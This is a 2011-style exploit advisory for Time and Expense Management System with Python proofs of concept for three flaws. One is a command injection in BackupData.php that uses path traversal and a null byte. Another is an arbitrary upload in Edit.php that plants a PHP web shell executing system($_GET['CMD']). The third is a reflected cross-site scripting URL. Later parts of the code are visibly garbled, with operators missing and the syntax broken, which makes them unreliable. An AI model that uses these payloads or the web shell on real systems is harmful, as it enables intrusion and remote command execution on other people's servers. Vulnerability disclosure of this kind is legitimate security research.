Time and Expense Management System - Multiple Vulnerabilities



# ------------------------------------------------------------------------

# Software................Time and Expense Management System
# Vulnerability...........Command Injection
# Threat Level............Very Critical (5/5)
# Download................http://sourceforge.net/projects/tems/
# Discovery Date..........4/27/2011
# Tested On...............Windows Vista + XAMPP
# ------------------------------------------------------------------------
# Author..................AutoSec Tools
# Site....................http://www.autosectools.com/
# Email...................John Leitch <john@autosectools.com>
# ------------------------------------------------------------------------


# --Description--

# A command injection vulnerability in Time and Expense Management
# System can be exploited to execute arbitrary operating system commands.


# --PoC--

import socket

host = 'localhost'
path = '/tems'
port = 80

def run_command():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.settimeout(8)

    body = '------x\r\n'\
           'Content-Disposition: form-data; name="toFile"\r\n'\
           '\r\n'\
           './a\r\n'\
           '------x\r\n'\
           'Content-Disposition: form-data; name="DB_Admin_id"\r\n'\
           '\r\n'\
           'a\r\n'\
           '------x\r\n'\
           'Content-Disposition: form-data; name="DB_Admin_Password"\r\n'\
           '\r\n'\
           '../../../../../../../calc\x00a\r\n'\
           '------x--\r\n'\
           '\r\n'


    s.send('POST %s/systemadmin/BackupData.php HTTP/1.1\r\n'
           'Host: localhost\r\n'
           'Proxy-Connection: keep-alive\r\n'
           'User-Agent: x\r\n'
           'Content-Length: %d\r\n'
           'Cache-Control: max-age=0\r\n'
           'Origin: null\r\n'
           'Content-Type: multipart/form-data; boundary=----x\r\n'
           'Accept: text/html\r\n'
           'Accept-Language: en-US,en;q=0.8\r\n'
           'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'
           '\r\n%s' % (path, len(body), body))

    print 'request sent, check for calc using the task manger'

run_command()

# ------------------------------------------------------------------------
# Software................Time and Expense Management System
# Vulnerability...........Arbitrary Upload
# Threat Level............Very Critical (5/5)
# Download................http://sourceforge.net/projects/tems/
# Discovery Date..........4/27/2011
# Tested On...............Windows Vista + XAMPP
# ------------------------------------------------------------------------
# Author..................AutoSec Tools
# Site....................http://www.autosectools.com/
# Email...................John Leitch <john@autosectools.com>
# ------------------------------------------------------------------------


# --Description--

# An arbitrary upload vulnerability in Time and Expense Management
# System can be exploited to upload a PHP shell.


# --PoC--

import socket

host = 'localhost'
path = '/tems'
shell_path = path + '/images/logoshell.php'
port = 80

def upload_shell():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.settimeout(8)    

    s.send('POST ' + path + '/systemadmin/Edit.php HTTP/1.1\r\n'
           'Host: localhost\r\n'
           'Proxy-Connection: keep-alive\r\n'
           'User-Agent: x\r\n'
           'Content-Length: 938\r\n'
           'Cache-Control: max-age=0\r\n'
           'Origin: null\r\n'
           'Content-Type: multipart/form-data; boundary=----x\r\n'
           'Accept: text/html\r\n'
           'Accept-Encoding: gzip,deflate,sdch\r\n'
           'Accept-Language: en-US,en;q=0.8\r\n'
           'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'
           '\r\n'
           '------x\r\n'
           'Content-Disposition: form-data; name="uid"\r\n'
           '\r\n'
           'shell.php\r\n'
           '------x\r\n'
           'Content-Disposition: form-data; name="name"\r\n'
           '\r\n'
           'shell.php\r\n'
           '------x\r\n'
           'Content-Disposition: form-data; name="address1"\r\n'
           '\r\n'
           'shell.php\r\n'
           '------x\r\n'
           'Content-Disposition: form-data; name="city"\r\n'
           '\r\n'
           'shell.php\r\n'
           '------x\r\n'
           'Content-Disposition: form-data; name="state"\r\n'
           '\r\n'
           'shell.php\r\n'
           '------x\r\n'
           'Content-Disposition: form-data; name="postalcode"\r\n'
           '\r\n'
           'shell.php\r\n'
           '------x\r\n'
           'Content-Disposition: form-data; name="country"\r\n'
           '\r\n'
           'shell.php\r\n'
           '------x\r\n'
           'Content-Disposition: form-data; name="weekendday"\r\n'
           '\r\n'
           'shell.php\r\n'
           '------x\r\n'
           'Content-Disposition: form-data; name="language"\r\n'
           '\r\n'
           'shell.php\r\n'
           '------x\r\n'
           'Content-Disposition: form-data; name="address2"\r\n'
           '\r\n'
           'shell.php\r\n'
           '------x\r\n'
           'Content-Disposition: form-data; name="logo"\r\n'
           '\r\n'
           'shell.php\r\n'
           '------x\r\n'
           'Content-Disposition: form-data; name="logo"; filename="shell.php"\r\n'
           'Content-Type: image/gif\r\n'
           '\r\n'
           '<?php echo \'<pre>\' + system($_GET[\'CMD\']) + \'</pre>\'; ?>\r\n'
           '------x--\r\n'
           '\r\n'
)

    
resp s.recv(8192)

    
http_found 'HTTP/1.1 302'
    
http_ok 'HTTP/1.1 200'
    
    
if http_found not in resp[:len(http_found)]:
        print 
'error uploading shell'
        
return
    else: print 
'shell uploaded'

    
s.send('GET ' shell_path ' HTTP/1.1\r\n'\
           
'Host: ' host '\r\n\r\n')

    if 
http_ok not in s.recv(8192)[:len(http_ok)]: print 'shell not found'        
    
else: print 'shell located at http://' host shell_path

upload_shell
()

------------------------------------------------------------------------
Software................Time and Expense Management System
Vulnerability
...........Reflected Cross-site Scripting
Threat Level
............Low (1/5)
Download................http://sourceforge.net/projects/tems/
Discovery Date..........4/27/2011
Tested On
...............Windows Vista XAMPP
------------------------------------------------------------------------
Author..................AutoSec Tools
Site
....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
------------------------------------------------------------------------


--
Description--

A reflected cross-site scripting vulnerability in Time and Expense
Management System can be exploited to execute arbitrary JavaScript
.


--
PoC--

http://localhost/tems/lookup.php?form=a%28%29;}alert%280%29;{//